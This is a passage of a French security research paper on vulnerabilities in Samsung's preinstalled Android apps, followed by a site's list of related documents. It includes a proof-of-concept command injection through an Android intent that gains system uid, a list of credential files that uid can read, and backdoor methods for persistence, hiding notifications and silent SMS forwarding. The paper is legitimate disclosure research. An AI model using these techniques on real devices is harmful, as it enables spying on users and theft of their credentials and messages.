19 A. Moulu 239 String str9 = str8 + new DecimalFormat("00").format( localcalendar. get(13)); Log.i(" FTATDumpReceiver", "Dump Filename is" + str9); Intent localintent2 = new Intent(paramContext, FTATDumpService.class ); localintent2.setflags ( ); localintent2.putextra("filename", str9); paramcontext. startservice( localintent2); Listing 17. Méthode onreceive() de FTATDumpReceiver Si un Intent est reçu avec comme action com.android.sec.ftat_dump, le service FTATDumpService est démarré avec l attribut additionnel FILENAME de l Intent reçu en paramètre. Lors de la réception de l Intent par le service FTATDumpService, sa méthode onstartcommand() (listing 18) est appelée. public int onstartcommand(intent paramintent, int paramint1, int paramint2) Log.i("FTATDumpService", "onstartcommand()"); this.mhandler. sendemptymessage (1005); final String str = paramintent. getstringextra("filename"); new Thread(new Runnable() public void run() FTATDumpService.this. sendmessage( FTATDumpService. access$600( FTATDumpService.this), FTATDumpService.this.mHandler. obtainmessage (1014)); if ( FTATDumpService.this. DoShellCmd(" dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler. sendemptymessage (1015); ).start(); return 0; Listing 18. Méthode onstartcommand() de FTATDumpService Le paramètre FILENAME que nous maîtrisons est utilisé dans une chaîne de caractères qui sert d argument à la fonction DoShellCmd() dont le code simplifié est présenté dans le listing 19. private boolean DoShellCmd(String paramstring) Log.i(" FTATDumpService", " DoShellCmd : " + paramstring); String[] arrayofstring = new String[3];
20 240 Sécurité des applications Android constructeurs arrayofstring [0] = "/system/bin/sh"; arrayofstring [1] = "-c"; arrayofstring [2] = paramstring; Log.i(" FTATDumpService", "exec command"); Runtime. getruntime().exec( arrayofstring).waitfor(); Log.i(" FTATDumpService", "exec done"); Log.i(" FTATDumpService", " DoShellCmd done"); return true; Listing 19. Méthode DoShellCmd() de FTATDumpService Autrement dit, une escape shell des plus classiques, qui ne nécessite aucun privilège pour être utilisée et qui permet l obtention de l uid system comme le montre le PoC (listing 20) ci-dessous : $ adb shell am broadcast -a com.android.sec. FTAT_DUMP --es FILENAME../../../../../dev/null;/system/bin/id > /sdcard/shellescape;# Broadcasting: Intent act=com.android.sec. FTAT_DUMP (has extras) Broadcast completed: result=0 $ adb shell cat /sdcard/ shellescape uid=1000( system) gid=1000( system) groups =1001( radio),1006( camera), 1007( log),1015( sdcard_rw),1023( media_rw),1028( sdcard_r),2001( cache), 3001( net_bt_admin),3002( net_bt),3003( inet),3007( net_bw_acct) Listing 20. Obtention des privilèges systeme via une escape shell Les permissions obtenues Le cumul des permissions des applications shareduserid à system donne un total de 156 permissions. De plus, nous possédons à présent la permission android.permission.install_package, ce qui permet d installer des applications arbitraires via la commande pm install package.apk par exemple. Outre les attaques en intégrité qu il est possible d effectuer depuis l utilisateur system, la confidentialité des informations sensibles stockées sur le smartphone peut être compromise. En effet, l utilisateur system peut également accéder à de nombreux fichiers comme : /data/misc/wifi/wpa_supplicant.conf, le fichier contenant les clés WPA ; Les fichiers guesture.key, password.key et sparepassword.key du dossier /data/system, qui contiennent les mots de passe/pincode/schéma de verrouillage de l équipement ; /data/system/user/x/accounts.db, le fichier contenant les mots de passe des différents comptes de l utilisateur et les tokens des comptes Gmail.
21 A. Moulu Rebond dans les applications tierces Une fois l uid system obtenu, il est possible d impacter les applications installées par l utilisateur. Deux méthodes sont présentées, la première permet le détournement des bibliothèques de fonctions natives alors que la seconde se concentre sur la manipulation du bytecode Dalvik d un fichier APK. Le dossier /data/data/packagename/lib/ Lorsqu une application utilise une bibliothèque de fonctions natives via JNI, celle-ci est présente dans le dossier /lib/archname/ du fichier APK de l application. Durant l installation de l application par le système, un dossier unique et dédié à l application est créé sous la forme suivante /data/data/<packagename>/ avec le <packagename> extrait du fichier AndroidManifest.xml. Le listing 21 correspond au dossier créé pour l application Gmail. shell@android:/ data/data # ls -al com.google.android.gm/ drwxrwx --x u0_a44 u0_a :01 cache drwxrwx --x u0_a44 u0_a :11 databases drwxrwx --x u0_a44 u0_a :11 files drwxr -xr-x system system :00 lib drwxrwx --x u0_a44 u0_a :11 shared_prefs Listing 21. Dossier de stockage interne dédié à l application Gmail Le dossier lib/ est présent lorsqu une application embarque des bibliothèques de fonctions natives. Celui-ci contient les différentes bibliothèques sous la forme de fichiers.so. Le lecteur attentif constatera que les différents dossiers à l exception du dossier lib/ ont pour propriétaire l uid de l application elle-même. Le dossier lib/, quant à lui, a pour propriétaire l utilisateur system, ce qui implique que nous sommes capables de modifier les bibliothèques de fonctions stockées dans ce dossier. Il devient alors possible d utiliser les techniques classiques d infection de binaires ELF. Le dalvik-cache Comme mentionné précédemment, les applications OEM sont généralement sous la forme d un APK (sans fichier classes.dex) et d un fichier ODEX. Ces fichiers étant installés dans /system/app, il n est pas possible de les modifier sans obtenir, au préalable, les privilèges root puisque la partition /system est montée en lecture seule sur Android.
22 242 Sécurité des applications Android constructeurs Pour les applications standards et les quelques exceptions parmi les applications OEM, le code exécutable est stocké au sein de l archive APK sous la forme d un fichier classes.dex. Lors du premier lancement de l application ou après une mise à jour de celle-ci, le système génère une version optimisée du code exécutable au format ODEX. Ce fichier est stocké dans le dossier /data/dalvik-cache et sera par la suite utilisée par le système comme étant le code exécutable de l application. Les fichiers du dalvik-cache sont accessibles en lecture et écriture pour l uid system comme le montre le listing 22. shell@android:/ data/dalvik -cache # ls -al -rw-r--r-- system u0_a :37 system@app@chromewithbrowser. [email protected] -rw-r--r-- system u0_a :37 system@app@dropbox. [email protected] -rw-r--r-- system u0_a :37 system@app@googleloginservice. [email protected] -rw-r--r-- system u0_a :37 system@app@samsungapps. [email protected] -rw-r--r-- system system :37 system@app@servicemodeapp. [email protected] Listing 22. Permissions sur les fichiers du dalvik-cache Ces fichiers ODEX, bien que possédant une extension.dex, sont générés par le système et ne sont donc pas signés par les développeurs. Possédant l uid system, il est alors possible de modifier le code exécutable des applications stockées dans le dalvik-cache, même s il s agit d une application tierce ayant un uid différent de system et des permissions différentes. Cette méthode peut être utilisée pour : obtenir de nouvelles permissions et/ou un uid qui n étaient pas accessibles à la backdoor auparavant 10 ; obtenir une forme de persistance, en injectant par exemple dans un BroadcastReceiver en écoute de l Intent ACTION_BOOT_COMPLETED ; modifier le comportement de certaines applications en désactivant des protections ou en réalisant du détournement de fonctions. 10. Sans l installation d applications supplémentaires via INSTALL_PACKAGE
23 A. Moulu 243 L application vulnérable permettant d obtenir les privilèges system émet trois notifications (ou Toasts) qui sont affichées à l écran de l utilisateur lors de l exploitation de la vulnérabilité. Les notifications affichent les messages suivants : Get AP log done - success ; Get modem log done - success ; Get Copy log done - success. Puisque les différentes partitions du système sont montées soit en readonly, soit en nosuid, il n est pas possible de réaliser une copie de /system/bin/sh en setuid system afin d éviter de passer par la vulnérabilité à chaque fois que l on souhaite exécuter une commande shell. Une solution pour gagner en furtivité auprès de l utilisateur est de modifier le fichier ODEX de l application dans le dalvik-cache afin de patcher l appel qui permet l affichage de ces notifications. Sachant que pour réaliser ce patch, il faut obtenir l uid system, cela signifie que les notifications seront affichées à l écran au moins une fois. Il est possible de réaliser le déclenchement de cette opération lorsque l on sait que l écran est éteint depuis quelques minutes et on suppose donc que l utilisateur n utilise plus son téléphone. L obtention de l uid system sur certains téléphones, comme le Huawei Ascend P1, est d autant plus critique que l intégralité des applications OEM sont fournies sous la forme de simples fichiers APK sans fichier ODEX associé. Ceci implique que toutes les applications OEM auront leur fichier ODEX dans le dalvik-cache et seront donc modifiables par un attaquant obtenant l uid system. 3.5 Samsung MDM for fun and profit Samsung a intégré dans ses smartphones Android (dont le S3) un ensemble de fonctionnalités de type MDM (Mobile Device Management) qui permet de faciliter l intégration des MDM commerciaux existants sur leurs équipements mais également d offrir des fonctionnalités de contrôle à distance via SamsungDive 11 à ses utilisateurs. Ces fonctionnalités sont implémentées en partie dans le fichier /system/framework/services.odex. 11. voir
24 244 Sécurité des applications Android constructeurs L analyse de ce fichier permet de constater que chacune des fonctionnalités est protégée par une permission de type android.permission.sec.mdm_xxx et que la fonction responsable de la vérification de la possession de cette permission ou non par l application appelante est enforcexxxpermission(). Le listing 23 correspond au code de la fonction protégeant la manipulation du Browser depuis le MDM. private int enforcebrowserpermission() getedm(). enforceactiveadminpermission("android. permission.sec. MDM_BROWSER_SETTINGS"); return Binder. getcallinguid(); Listing 23. Vérification de la permission permettant de manipuler le Browser La fonction getedm() retourne une instance de EnterpriseDeviceManager. Le listing 24 correspond au code de la fonction enforceactiveadminpermission de la classe EnterpriseDeviceManager. public void enforceactiveadminpermission(string paramstring) throws SecurityException int i = Binder. getcallinguid(); if (i!= 1000) if(( EnterpriseDeviceAdminInfo)this. madminmap.get(integer.valueof(i)) == null) throw new SecurityException("No active admin owned by uid " + i); else boolean bool = false; try int j = this.mcontext. checkcallingpermission( paramstring); bool = false; if (j == 0) bool = true; Utils. writetolog(" EnterpriseDeviceManagerService", "is permission granted: " + bool); if (!bool) throw new SecurityException("Admin does not have " + paramstring); catch ( Exception localexception) Log.w(" EnterpriseDeviceManagerService", "could not check calling permission") Slog.d(" EnterpriseDeviceManagerService", " enforceactiveadmindualpermission >>>");
25 A. Moulu 245 Listing 24. Fonction de vérification de permission utilisée dans les API du MDM Samsung Cette fonction vérifie si l application a l uid system (1000) ou si elle possède la permission fournie en argument au travers de paramstring. L uid system est donc un joker ici, qui se verra toujours autoriser l accès aux fonctionnalités du MDM. Ceci permet la réutilisation de l ensemble des fonctionnalités du MDM de Samsung dans notre backdoor et évite de les réimplémenter. Ci-dessous une liste non exhaustive des fonctionnalités implémentées dans le MDM de Samsung : application policy : backup d application, liste blanche ou noire des permissions en fonctions des applications, etc. ; browser policity : activer/désactiver le JavaScript, etc. account policy : gestion des paramètres des comptes s, comportement par défaut en cas de certificat SSL invalide, etc. ; enterprise VPN policy : récupération des certificats, gestion des connexions VPN et des identifiants, etc. ; phone restriction : bloquer le WiFi, les connexions VPN, le debug USB, les mises à jour du firmware, la réinitialisation aux paramètres d usine, etc. Le listing 25 montre la récupération du contenu du presse papier via la fonction getclipboardtextdata() 12 du MDM Samsung en utilisant la commande service inclue sur le système Android : shell@android:/ $ service call misc_policy 14 Result: Parcel( 0x : b V.i.t.e. 0x : 006c l.a..d.e.a.d. 0x : c e l.i.n.e..d.u.. 0x : c.f.p..d.u..s. 0x : s.t.i.c..a.p.p. 0x : 006f e e r.o.c.h.e... ) Listing 25. Récupération du contenu du presse papier via le MDM Samsung La commande ci-dessous permet d empêcher le téléphone de mettre à jour son firmware via OTA (Over The Air) : 12. Elle est définie comme suit dans sec_edm.odex : static final int TRANSACTION_getClipboardTextData 14;
26 246 Sécurité des applications Android constructeurs $ service call restriction_policy 47 i32 0 Result: Parcel ( ) Listing 26. Désactivation des mises à jour du firmware via OTA Réutiliser le MDM de Samsung permet d éviter de devoir réimplémenter de nombreuses fonctionnalités, de plus la backdoor comportera moins de code susceptible d être détecté par un antivirus, tels que des appels à des API nécessitant des permissions qui ne sont pas demandées par la backdoor. 3.6 Forwarding des SMS Lors de la recherche d une application vulnérable permettant d obtenir les SMS à leur réception, l application DSMLawmo.apk s est avérée intéressante. Cette application possède un BroadcastReceiver nommé DSMSMSReceiver qui répond aux Intent d action android.provider.telephony.sms_received indiquant la réception d un nouveau SMS. L analyse de la méthode onreceive() appelée lors de la réception de l Intent (listing 27) indique rapidement qu il s agit d une application pouvant intéresser un attaquant : if ("android.provider. Telephony. SMS_RECEIVED".equals( paramintent. getaction())) Util.Logd("Start to SMS forwarding service"); Listing 27. Extrait de la méthode onreceive() du composant DSMSMSReceiver Ce BroadcastReceiver est chargé de réaliser un forwarding de SMS si celui-ci est activé sur le téléphone. Afin de savoir si le forwarding est activé, l application vérifie la présence de la clé SMSForwarding dans un objet de type DSMRepository. Il s agit en réalité d un objet réalisant des requêtes sur le ContentProvider DSMProvider dont l URI est content://com.sec.dsm.system.dsmcontentprovider/dsm. Cette URI pointe vers la base de données SQLite localisée à /data/data/com.sec.dsm.system/databases/profile.db. Le BroadcastReceiver teste la présence d une entrée dans la table dsm dont la colonne Key a pour valeur SMSForward, si c est le cas le SMS
27 A. Moulu 247 reçu est inspecté via la méthode isrepeatedmessage(). Cette méthode permet de détecter si le SMS a déjà été reçu récemment, si ce n est pas le cas il est transmis en copie de façon invisible pour l utilisateur au numéro contenu dans la table dsm dont la colonne Key est à SMSRecipient. La configuration du forwarding des SMS s effectue via le BroadcastReceiver DSMReceiver de l application DSMForwarding.apk. Le code de la méthode onreceive() est donné sur le listing 28. public void onreceive(context paramcontext, Intent paramintent) if("android.intent.action.dsm. DM_FORWARDING".equals( paramintent. getaction())) Util.Logd("get DM_FORWARDING"); boolean bool1 = paramintent. getbooleanextra(" callenable", false); boolean bool2 = paramintent. getbooleanextra(" calldisable", false); String str1 = paramintent. getstringextra(" callnumber"); boolean bool3 = paramintent. getbooleanextra(" smsenable", false); boolean bool4 = paramintent. getbooleanextra(" smsdisable", false); String str2 = paramintent. getstringextra(" smsnumber"); Intent localintent = new Intent(paramContext, DSMForwardingService. class); localintent.putextra(" callenable", bool1); localintent.putextra(" calldisable", bool2); localintent.putextra(" callnumber", str1); localintent.putextra(" smsenable", bool3); localintent.putextra(" smsdisable", bool4); localintent.putextra(" smsnumber", str2); paramcontext. startservice( localintent); Listing 28. Fonction onreceive() du BroadcastReceiver DSMReceiver Le service DSMForwardingService s occupe d activer ou désactiver le forwarding. Afin d activer le forwarding des SMS, il faut donc envoyer un Intent avec les caractéristiques suivantes : action = android.intent.action.dsm.dm_forwarding ; smsenable = true ; smsnumber = le numéro de téléphone qui recevra une copie des SMS. Cependant, pour pouvoir communiquer avec le BroadcastReceiver DSMReceiver, il faut la permission com.sec.android.permission.dsmforwarding : <receiver name=" DSMReceiver" permission="com.sec.android. permission. DSMFORWARDING"> <intent -filter> <action name="android.intent.action.dsm. DM_FORWARDING"></action> </intent -filter>
28 248 Sécurité des applications Android constructeurs </receiver> Listing 29. Extrait du fichier AndroidManifest.xml de l application DSMForwarding.apk D après la base de données NoSQL, cette permission est seulement possédée par l application FmmDM.apk, mais l analyse de cette application n est pas nécessaire. Le fichier profile.db qui contient la configuration du forwarding est disponible en lecture et écriture pour l utilisateur system : shell@android:/ data/data/com.sec.dsm.system/ databases # ls -al -rw-rw---- system system :18 profile.db Listing 30. Permissions sur le fichier contenant les informations de forwarding Ceci signifie qu il est possible, depuis notre shell system, de modifier directement le fichier profile.db pour activer le forwarding des SMS. 4 Portée des vulnérabilités et quelques chiffres Les vulnérabilités présentées dans la section précédente ont été découvertes sur un Samsung Galaxy S3. Cependant, de nombreuses applications sont réutilisées sur d autres modèles de la marque. Ceci implique qu il est possible de retrouver les vulnérabilités sur ces autres modèles. En suivant cette idée, les systèmes des différents modèles populaires de Samsung ont été vérifiés, il s agit des modèles suivants : Samsung Galaxy S2 ; Samsung Galaxy S3 mini ; Samsung Galaxy S4 ; Samsung Note 1 et 2 ; Samsung Galaxy Tab 1 et 2. Cette vérification a porté sur les ROMs officielles, distribuées par Samsung. Les ROMs distribuées par les opérateurs téléphoniques (Orange, Free, Bouygues Telecom, Sfr, etc.) n ont pas été vérifiées. Cependant, elles sont souvent modifiées par les opérateurs afin d ajouter leurs propres applications (augmentant ainsi la surface d attaque 13 ) et ne se basent pas toujours sur la dernière ROM mise à disposition par 13. Suivant le principe de ce papier, il serait intéressant d analyser les applications ajoutées par les opérateurs.
29 A. Moulu 249 Samsung. Il est donc probable que certaines vulnérabilités ne soient pas corrigées sur les ROMS opérateurs. Les différentes ROMs ont été récupérées sur des forums d utilisateurs Android. Puis, en utilisant des outils comme simg2img 14, il a été possible de convertir les différentes partitions que contiennent une ROM au format ext4 et ainsi pouvoir en récupérer le contenu. $ tar xvf ROM.tar.md5 $ simg2img system.img $ sudo mount tmp.img /mnt $ cp -r /mnt/app. $ cp -r /mnt/ framework. Listing 31. Extraction des applications OEM depuis une ROM Android Une fois le contenu des différents dossiers récupéré, il est possible d utiliser le script du listing 7 pour obtenir des APK manipulables par la majorité des outils d analyse. Grâce à l outil A3SA et aux scripts androsim et androdiff du framework Androguard, qui permettent respectivement de mesurer la similarité entre deux APKs et d en extraire les différences 15, le contenu des différentes ROMs a été analysé afin de vérifier si les vulnérabilités étaient présentes sur d autres modèles. Le tableau Fig. 1, présente le résultat de cette analyse en utilisant l échelle de notation PWN/PAS PWN 16. Pour des raisons de lisibilité, un numéro a été attribué à chaque vulnérabilité sous la forme suivante : VULN1 : Obtention de l uid system via shell escape (section 3.3) ; VULN2 : CRUD sur les SMS/MMS/Contacts/... (section 3.2) ; VULN3 : Envoi de SMS/MMS arbitraire sans permission (section 3.1). Modèle Date de sortie VULN1 VULN2 VULN3 Samsung Galaxy S2 05/2011 PAS PWN PWN PWN Samsung Galaxy Tab 1 06/2011 PAS PWN PWN N.A Samsung Galaxy Note 1 11/2011 PAS PWN PWN PWN Samsung Galaxy S3 05/2012 PWN PAS PWN PWN Samsung Galaxy Tab 2 05/2012 PWN PAS PWN N.A Samsung Galaxy Note 2 10/2012 PWN PAS PWN PAS PWN Samsung Galaxy S3 mini 11/2012 PWN PAS PWN PAS PWN Samsung Galaxy S4?? PAS PWN PAS PWN PAS PWN Table 1. Présence des vulnérabilités en fonction du modèle 14. voir voir https ://code.google.com/p/elsim/wiki/similarity 16. voir http ://news0ft.blogspot.fr/2011/05/le-diable-est-dans-les-details.html
30 250 Sécurité des applications Android constructeurs Enfin, il est intéressant de remarquer que, les derniers smartphones Samsung sont fournis avec de plus en plus d applications OEM. Ceci laisse une surface d attaque toujours plus importante. Le tableau Fig. 2 permet de constater l évolution du nombre d applications en fonction de la date sortie du modèle. Le Samsung Galaxy S4 n est pas encore disponible à la vente, mais il est possible de récupérer une copie de la partition /system qui a fuitée sur internet 17 et donc d obtenir cette information. Modèle Date de sortie Nombre d applications OEM Samsung Galaxy S2 05/ Samasung Galaxy Tab 1 06/ Samsung Galaxy Note 1 11/ Samsung Galaxy S3 05/ Samasung Galaxy Tab 2 05/ Samsung Galaxy Note 2 10/ Samsung Galaxy S3 mini 11/ Samsung Galaxy S4??/ Table 2. Nombre d APK dans /system/app par modèle 5 Conclusion Les fonctionnalités des smartphones sont de plus en plus puissantes, par conséquent les utilisateurs se voient fournir de plus en plus d applications OEM augmentant sensiblement la surface d attaque de leur smartphone. La suppression de ces applications nécessite l obtention des privilèges root, ce qui n est pas conseillé pour un utilisateur lambda. De plus, les applications comme SuperUser, qui ont pour rôle de protéger l accès à l uid root, ne sont pas des références en matière de développement sécurisé 18. L absence de contrôle par Google sur les applications des constructeurs amoindrit fortement le niveau de sécurité de ces équipements. Il est simple pour un attaquant de trouver des vulnérabilités liées à un modèle ou un ensemble de modèles d un même constructeur (via la surcouche opérateur) et de réaliser des backdoors ne nécessitant peu de 17. voir http :// 18. voir https ://code.google.com/p/superuser/issues/detail?id=4
31 A. Moulu 251 permissions, voire aucune sur le système. L évolution de la sécurité du système Android avec l implémentation de mesures contre l exploitation de vulnérabilités de type corruption de mémoire est rendue presque futile par la présence de vulnérabilités fiables et relativement simples à trouver/exploiter dans les surcouches constructeurs. Les téléphones de type Nexus, pour lesquels les constructeurs n ajoutent pas leurs applications, deviennent donc des alternatives intéressantes afin de garantir un bon niveau de sécurité. Références 1. Fred Chung. Security Enhancements in Jelly Bean. Technical report, Android Developers, 14 February security-enhancements-in-jelly-bean.html. 2. GSMArena.com. Samsung Galaxy S III global sales reach 50 million. 50_million_-news-5709.php, 15 March Neil Mawston. Android and Apple ios Capture a Record 92 Percent Share of Global Smartphone Shipments in Q Technical report, Strategy Analytics, 28 January /Android-and-Apple-iOS-Capture-a-Record-92-Percent-Share-of-Global- Smartphone-Shipments-in-Q aspx. 4. Benjamin Morin. Modèle de sécurité d Android. MISC 51, September Nicolas Ruff. Sécurité du système Android. In SSTIC, 8 June SSTIC2011-Article-Securite_Android-ruff.pdf.
Android 4 Les fondamentaux du développement d'applications Java
La plateforme Android 1. Présentation 13 2. Historique 14 3. Google Play 15 3.1 Création d'un compte développeur 16 3.2 Publication d'une application 16 3.3 Suivi et mise à jour d'une application 18 Environnement
Déploiement de l iphone et de l ipad Gestion des appareils mobiles (MDM)
Déploiement de l iphone et de l ipad Gestion des appareils mobiles (MDM) ios prend en charge la gestion des appareils mobiles (MDM), offrant aux entreprises la possibilité de gérer des déploiements évolutifs
Introduction à Java. Matthieu Herrb CNRS-LAAS. Mars 2014. http://homepages.laas.fr/matthieu/cours/java/java.pdf
Introduction à Java Matthieu Herrb CNRS-LAAS http://homepages.laas.fr/matthieu/cours/java/java.pdf Mars 2014 Plan 1 Concepts 2 Éléments du langage 3 Classes et objets 4 Packages 2/28 Histoire et motivations
Can we trust smartphones?
Can we trust smartphones? [email protected] - 03/10/2012 Synthèse Concernant la sécurité la plupart des solutions ne sont pas matures. La combinaison de solutions de sécurité peut permettre d atteindre
Premiers Pas en Programmation Objet : les Classes et les Objets
Chapitre 2 Premiers Pas en Programmation Objet : les Classes et les Objets Dans la première partie de ce cours, nous avons appris à manipuler des objets de type simple : entiers, doubles, caractères, booléens.
Fiche produit. Important: Disponible en mode SaaS et en mode dédié
Fiche produit Important: Disponible en mode SaaS et en mode dédié La plate-forme étant enrichie en permanence, la liste des fonctionnalités présentées n est pas exhaustive. Nous vous invitons donc à nous
Projet Android (LI260) Cours 2
Projet Android (LI260) Cours 2 Nicolas Baskiotis Université Pierre et Marie Curie (UPMC) Laboratoire d Informatique de Paris 6 (LIP6) S2-2013/2014 Plan Les ressources Debug Communication entre activités
Déploiement d iphone et d ipad Gestion des appareils mobiles (MDM)
Déploiement d iphone et d ipad Gestion des appareils mobiles (MDM) ios prend en charge la gestion des appareils mobiles (MDM), donnant aux entreprises la possibilité de gérer le déploiement d iphone et
cprotect PROTÉGEZ L IRREMPLAÇABLE! POUR SMARTPHONES ET TABLETTES ANDROID MANUEL D UTILISATION
cprotect PROTÉGEZ L IRREMPLAÇABLE! POUR SMARTPHONES ET TABLETTES ANDROID MANUEL D UTILISATION Introduction cprotect : protégez l irremplaçable! L application cprotect peut être installée facilement sur
Plateforme PAYZEN. Définition de Web-services
Plateforme PAYZEN Définition de Web-services Ordre de paiement Version 1.1 Rédaction, Vérification, Approbation Rédaction Vérification Approbation Nom Date/Visa Nom Date/Visa Nom Date/Visa Lyra-Network
La sécurité des ordiphones : mythe ou réalité?
Institut du Développement et des Ressources en Informatique Scientifique www.idris.fr La sécurité des ordiphones : mythe ou réalité? 1 Plan de la présentation 1. La problématique pour l entreprise 2. Modèles
Android. Présentation d Android. Florent Garin http://www.docdoku.com http://twitter.com/docdoku
Android Présentation d Android 20 novembre 2010 Florent Garin http://www.docdoku.com http://twitter.com/docdoku Florent Garin Co-fondateur de DocDoku Société innovante IT http://www.docdoku.com Co-fondateur
Utilisation de JAVA coté Application serveur couplé avec Oracle Forms Hafed Benteftifa www.degenio.com Novembre 2008
Introduction Utilisation de JAVA coté Application serveur couplé avec Oracle Forms Hafed Benteftifa www.degenio.com Novembre 2008 Forms 10g permet l utilisation du JAVA côté client et côté application
LOGO Smartphones, tablettes, et autres gadgets quel impact sur notre métier d ASR
LOGO Smartphones, tablettes, et autres gadgets quel impact sur notre métier d ASR Stéphane Aicardi, Sylvain Ferrand, Danh Pham Kim Les différents types d appareils mobiles Smartphone, tablette, appareils
Les fondamentaux du développement d applications Java
Android 5 Les fondamentaux du développement d applications Java Nazim BENBOURAHLA Table des matières 1 Les éléments à télécharger sont disponibles à l'adresse suivante : http://www.editions-eni.fr Saisissez
Gestion des différentes tailles d écran
25 Gestion des différentes tailles d écran Les écrans des terminaux Android, qui sont apparus sur le marché l année qui a suivi l apparition d Android 1.0, avaient tous la même résolution (HVGA, 320 480
DÉVELOPPEMENT ANDROID
DÉVELOPPEMENT ANDROID ESIEE / Key Consulting Partie 2 v2.2-2012 INTENT Key Consulting INTENT Intent : intention Une Intent est une agrégation d informations, décrivant de manière abstraite une action devant
Quelques patterns pour la persistance des objets avec DAO DAO. Principe de base. Utilité des DTOs. Le modèle de conception DTO (Data Transfer Object)
Quelques patterns pour la persistance des objets avec DAO Ce cours présente des modèles de conception utilisés pour effectuer la persistance des objets Université de Nice Sophia-Antipolis Version 1.4 30/8/07
FileMaker Server 14. Guide de démarrage
FileMaker Server 14 Guide de démarrage 2007-2015 FileMaker, Inc. Tous droits réservés. FileMaker, Inc. 5201 Patrick Henry Drive Santa Clara, Californie 95054 FileMaker et FileMaker Go sont des marques
TD/TP 1 Introduction au SDK d Android
TD/TP 1 Introduction au SDK d Android Romain Raveaux 1 Introduction Android est un système d'exploitation pour téléphone portable de nouvelle génération développé par Google. Celui-ci met à disposition
Prénom : Matricule : Sigle et titre du cours Groupe Trimestre INF1101 Algorithmes et structures de données Tous H2004. Loc Jeudi 29/4/2004
Questionnaire d'examen final INF1101 Sigle du cours Nom : Signature : Prénom : Matricule : Sigle et titre du cours Groupe Trimestre INF1101 Algorithmes et structures de données Tous H2004 Professeur(s)
SYNC FRAMEWORK AVEC SQLITE POUR APPLICATIONS WINDOWS STORE (WINRT) ET WINDOWS PHONE 8
SYNC FRAMEWORK AVEC SQLITE POUR APPLICATIONS WINDOWS STORE (WINRT) ET WINDOWS PHONE 8 INTRODUCTION Bonjour à tous; Aujourd hui je publie une nouvelle version de l adaptation de la Sync Framework Toolkit,
INTRODUCTION A JAVA. Fichier en langage machine Exécutable
INTRODUCTION A JAVA JAVA est un langage orienté-objet pur. Il ressemble beaucoup à C++ au niveau de la syntaxe. En revanche, ces deux langages sont très différents dans leur structure (organisation du
Androïd Manuel d installation MB PRO LIGHT Préalable. Définitions
Androïd Manuel d installation MB PRO LIGHT Préalable MB Pro Light est compatible avec tous les téléphones disposant du système d exploitation Androïd 1.5 et supérieur Après votre achat, vous avez reçu
Définition des Webservices Ordre de paiement par email. Version 1.0
Définition des Webservices Ordre de paiement par email Version 1.0 Rédaction, Vérification, Approbation Rédaction Vérification Approbation Nom Date/Visa Nom Date/Visa Nom Date/Visa Historique du document
Android Publish/Subscribe, GCM, Google Cloud Messaging : une introduction
Android Publish/Subscribe, GCM, Google Cloud Messaging : une introduction jean-michel Douin, douin au cnam point fr version : 8 Décembre 2014 Notes de cours 1 Sommaire Le socle, les fondements Le patron
GUIDE DE DEMARRAGE V1.02
SUPPORT FONCTIONNEL SFR Business Team SFR Suite Stockage Cloud GUIDE DE DEMARRAGE V1.02 Entité Nom Date(s) Propriétaire Rédacteur Vérificateur SFR SFR SFR SFR www.sfr.fr Page : 2/15 Table des matières
24/11/2011. Cours EJB/J2EE Copyright Michel Buffa. Plan du cours. EJB : les fondamentaux. Enterprise Java Bean. Enterprise Java Bean.
Plan du cours 2 Introduction générale : fondamentaux : les fondamentaux Michel Buffa ([email protected]), UNSA 2002, modifié par Richard Grin (version 1.1, 21/11/11), avec emprunts aux supports de Maxime
Rootkit pour Windows Mobile 6
Rootkit pour Windows Mobile 6 Cédric Halbronn Sogeti / ESEC cedric.halbronn(at)sogeti.com Plan Contexte Introduction Environnement mobile Windows Mobile 1 Contexte Introduction Environnement mobile Windows
Optimiser pour les appareils mobiles
chapitre 6 Optimiser pour les appareils mobiles 6.1 Créer un site adapté aux terminaux mobiles avec jquery Mobile... 217 6.2 Transformer son site mobile en application native grâce à PhoneGap:Build...
Langage et Concepts de ProgrammationOrientée-Objet 1 / 40
Déroulement du cours Introduction Concepts Java Remarques Langage et Concepts de Programmation Orientée-Objet Gauthier Picard École Nationale Supérieure des Mines de Saint-Étienne [email protected]
Cette application développée en C# va récupérer un certain nombre d informations en ligne fournies par la ville de Paris :
Développement d un client REST, l application Vélib 1. Présentation L application présentée permet de visualiser les disponibilités des vélos et des emplacements de parking à la disposition des parisiens
SECURIDAY 2013 Cyber War
Club de la Sécurité Informatique à l INSAT Dans le cadre de la 3ème édition de la journée nationale de la sécurité informatique SECURIDAY 2013 Cyber War SECURINETS Présente Formateurs: 1. Emna BEY 2. Manel
Votre premier projet Android
3 Votre premier projet Android Maintenant que le SDK Android est installé, il est temps de créer votre premier projet. La bonne nouvelle est qu il n exige aucune ligne de code les outils Android créent
Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement
Guillaume HARRY l Contenu sous licence Creative Commons CC-BY-NC-ND Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement P. 2 1. Introduction 2.
Serveur Linux : FTP. Mise en place d un service FTP sous Linux. Bouron Dimitri 20/04/2014
Mise en place d un service FTP sous Linux Bouron Dimitri 20/04/2014 Ce document sert de démonstration concise pour l installation, la configuration, la sécurisation, d un serveur FTP sous Linux utilisant
Programmer en JAVA. par Tama ([email protected]( [email protected])
Programmer en JAVA par Tama ([email protected]( [email protected]) Plan 1. Présentation de Java 2. Les bases du langage 3. Concepts avancés 4. Documentation 5. Index des mots-clés 6. Les erreurs fréquentes
OpenPaaS Le réseau social d'entreprise
OpenPaaS Le réseau social d'entreprise Spécification des API datastore SP L2.3.1 Diffusion : Institut MinesTélécom, Télécom SudParis 1 / 12 1OpenPaaS DataBase API : ODBAPI...3 1.1Comparaison des concepts...3
Construire une application marketing Facebook sur la plateforme Windows Azure
Construire une application marketing Facebook sur la plateforme Windows Azure Lorsque le «Social Effect» est au rendez-vous, comment s assurer que votre application va supporter la montée en charge? Nous
NOMADES ET SMARTPHONES EN ENTREPRISE EN TOUTE SÉCURITÉ PAR BERTRAND THOMAS ET JULIEN COULET
Introduction aux solutions de Mobile Device Management NOMADES ET SMARTPHONES EN ENTREPRISE EN TOUTE SÉCURITÉ PAR BERTRAND THOMAS ET JULIEN COULET QUELQUES CHIFFRES Mi 2011, 77% de la population mondiale
«Obad.a» : le malware Android le plus perfectionné à ce jour
«Obad.a» : le malware Android le plus perfectionné à ce jour Table des matières I. Le sujet de l article... 2 II. Réflexion sur les nouvelles menaces technologiques d aujourd hui... 2 A. Android, victime
